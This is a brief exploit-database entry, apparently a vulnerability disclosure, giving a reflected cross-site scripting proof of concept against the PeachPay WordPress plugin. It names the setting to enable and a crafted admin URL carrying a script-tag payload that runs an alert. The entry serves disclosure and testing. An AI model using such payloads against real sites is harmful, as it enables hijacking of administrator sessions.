Share
## https://sploitus.com/exploit?id=WPEX-ID:A78D75B2-85A0-41EB-9720-C726CA2E8718
With the PeachPay payment gateway enabled (can be enabled via the settings: http://example.com/wp-admin/admin.php?page=wc4jp-options&tab=payment)

Make a logged in admin open the following URL: https://example.com/wp-admin/admin.php?page=peachpay&tab=field&"><script>alert(/XSS/)</script>